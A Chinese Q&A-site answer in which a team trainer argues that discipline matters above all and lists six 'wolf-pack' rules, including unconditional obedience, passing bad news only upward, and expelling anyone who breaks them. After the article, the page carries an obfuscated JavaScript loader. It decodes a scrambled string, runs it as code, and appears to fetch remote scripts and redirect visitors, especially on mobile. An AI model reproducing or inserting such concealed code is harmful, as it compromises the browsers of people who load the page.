推荐回答(1个)
作为一名团队培训领域的从业者,这些年我始终在讲纪律很重要。
没有纪律的统一和执行,团队就没有一切。
纪律比战略都重要,它甚至高过一切。纪律就像一个人的骨架,是一座房子的柱梁,也是一艘轮船的龙骨。
为什么这么说?这是由团队的本质决定的——团队由不同的人组成,是人就有个性,个性的不同造成思维的涣散和行动的分裂,没有纪律的约束,团队就成了一盘散沙。
因此我们才会看到,这个世界上最优秀的团队并不是由能力最强的人组成的,而是由那些最守纪律的人组成的。
他们遵守团队的纪律,奉行统一的制度,严格协调步伐,集中思想听指挥。这是什么?是饥饿的狼群!他们总能赢!
也就是说,纪律就是团队设计中的既定法则。这一套成熟的法则要让团队成员知道平时该做什么,不该做什么,明白在工作中“有所为有所不为”。
有了纪律意识,他们才有可能接受一个庞大的规则体系的约束,被培养、训练和打磨成一名“钢铁战士”,成为一只严格服从命令的富有战斗精神的优秀之狼。
最好的团队是什么?总的来说,“第一,守纪律;第二,守纪律;第三,还是守纪律!找一群最守纪律的人,远比一堆意志涣散的天才好很多。”
在残酷的狼群作战的时代,任何一个纪律松散的集体都是活不下去的。在我们的培训经历中,这样的反例可谓比比皆是。列森说:“一支卓越的团队,要做的基础工作有两条。
首先,需要统一思维;其次,需要统一行动。纪律就是这两条的保障。不然的话,团队就可能土崩瓦解,存在不了多长时间。”
最基本的团队纪律不用太多,你只要抓住六条就可以。
在这六条纪律的基础上去设计团队的规章制度,就能够保证你的团队具备严肃的氛围和强大的战斗力。但你必须保证一点:如有团队成员违反了这六条中的任意一条,应毫不留情地把他开除。
不管他的能力有多强,在公司的人际关系有多好,都不能对他宽大处理。否则,这种对纪律的破坏行为对团队的影响将是毁灭性的。
(1)不要放大问题,要解决问题
就像再健康的人也会生病一样,没有不存在问题的公司,但真正的问题是“你如何对待这些问题?”当工作中出现问题时,成员采取什么样的态度是至关重要的。他是正面对待积极解决,还是夸大问题甚至无中生有?
如果有人在看到公司出现了问题以后,采取后者的态度,推波助澜,兴风作浪,就怕事情搞不大,到处宣扬,生怕知道的人太少;
那么,本来很容易就可解决的问题可能难以收场,对团队造成极大的损害,也让其他的成员产生强烈的不安全感。
对这样的员工,一定要划入“恶狼”的行列,一经发现,立即给予最严厉的惩罚,不可再让他留在你的团队内。
(2)人人都要向上汇报坏消息,向下传达好消息
微软公司的人力资源经理艾德里安说:“向下传播坏消息是微软公司最不能容忍的行为。”我非常同意。
事实上,这也是团队设计中的第二条铁律:
你的员工如何对待好消息和坏消息?坏消息必须向上汇报,好消息才可以向下传达。这一规定不容违反!
在一支健康的团队中,好消息要以广泛传播来振奋人心;但坏消息则要尽量大事化小,小事化了,尤其要堵住向下级雇员传达的通道,争取在上一级管理层中就把它解决掉,不至于影响基层员工的士气。
如果这个顺序恰恰相反,有些职员在对待各种各样的消息时,把一些不利于团队的消息向自己的下属四处广播,就会有非常严重的后果。
坏消息为什么要向上传达?因为只有你的上司和团队主管才能够给你积极正面的引导,以及解决你的困惑。除此之外,平级同事和下级员工只会对坏消息大加渲染,夸大其词,进而产生不可逆转的蝴蝶效应。
(3)充分沟通,但无条件服从
沟通是员工的权利,必须保障。但服从是员工的纪律,必须无条件遵守。团队的核心是沟通,但团队的本质却是“下对上的服从”。
所以,上下之间的沟通必须充分和顺畅,不管是团队主管还是普通成员,都应在沟通中彼此交心,知无不言,言无不尽,互换信息,公平讨论,做出决策。一旦形成了决议,则每个人都必须无条件遵守和服从。
这就是狼的精神,也是我们设计团队时灌输“狼性服从”的一个关键部分。作为团队成员,对于上司的决定,必须没有任何水分地服从和执行。
(4)什么时候都不能想当然
所有工作都应遵循一个原则:
以事实为依据。这一条纪律,不因行业不同有所区别,也不因级别的高低有所变化。以事实为依据,就是不要想当然,也不能胡说八道,而是实事求是,理性谨慎,脚踏实地。违反这一条铁律的员工,就不适合待在我们的狼性团队。
现在很多人为了他的个人业绩,为了达到个人收益的最大化,在工作中不择手段,或者对于目标过于理想化,想当然地去追求自己的利益。具体表现在,团队成员盲目地做事,不以事实为依据。
比如在营销上,这个产品明明没有的功效他也要说有,达不到的功能他也说能达到,做不到的服务他也承诺能做到,自己拿下了订单,让顾客掏了钱,最后却是由公司、由自己的部门埋单。虚假的承诺早晚会露馅。
(5)讨论时多表达,讨论完了闭嘴
我比较喜欢爱开短会的团队主管。为什么呢?因为开会可以解决问题、协调立场,并且调查民意,能让一个老板在短时间内充分了解到下属在想什么。
一个比较擅长开会的人,在团队刚组建时就会养成一个好习惯,针对工作的需求,把团队的讨论放在最合适的时候。设计一个制度,让人人都知道。这个制度最大的目的,就是为了能给团队的成员提供一个讨论的机会。
但是讨论就得有纪律。我们要给员工一个说话的平台,给他们表达的权利,让员工有地方说话,也有地方申诉。开会就是一个很好的平台,也是最适合团队进行公开讨论的场合。
在这里,任何人有想法都可以提出来,不需藏着掩着。如果你不给员工在会议室表达的权利,他们就会私下乱说,团队的氛围就坏掉了。
因此,必须开会。在会议中要遵守什么纪律?
一是给员工足够的时间和空间,让他们去表达。请他们多说,有话尽管说,管理者要耐心地倾听,逐一回复。
二是说完了就应该闭嘴,对那些会上不说、会后乱说的员工,要进行严惩。我把这一类员工看作团队的“毒瘤”,一经发现,就该马上清除。因为这些在会议中沉默、会议后嚼舌头的人,会极大地破坏“狼群”的团结。
6)有问题必须当面说
团队的最后一条铁律,就是当面交流。这一条和上一条是互相承接的。员工不管是对公司、对上司还是对同事有任何意见,都要当面讲出来,然后公开地获得答案。
这叫团队问题的透明化——协商、沟通、人际关系都应在团队中透明化,避免灰色区域的存在。
纪律和原则,是一个狼群的生存根基,也是一个优秀团队的必备素养。我们在设计一支团队的框架时,首要考虑到的,就是给这支团队设计什么样的纪律。你是要一支铁军,还是要一支松松垮垮的游击队?
将这六条纪律融入团队,使每个成员都尽心遵守,你就初步为自己打造了一个遵守原则、组织严谨的团队。在铁的纪律管理下,你必须一手举着胡萝卜,一手挥舞大棒——奖励遵守纪律的成员,驱逐违反纪律的员工。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();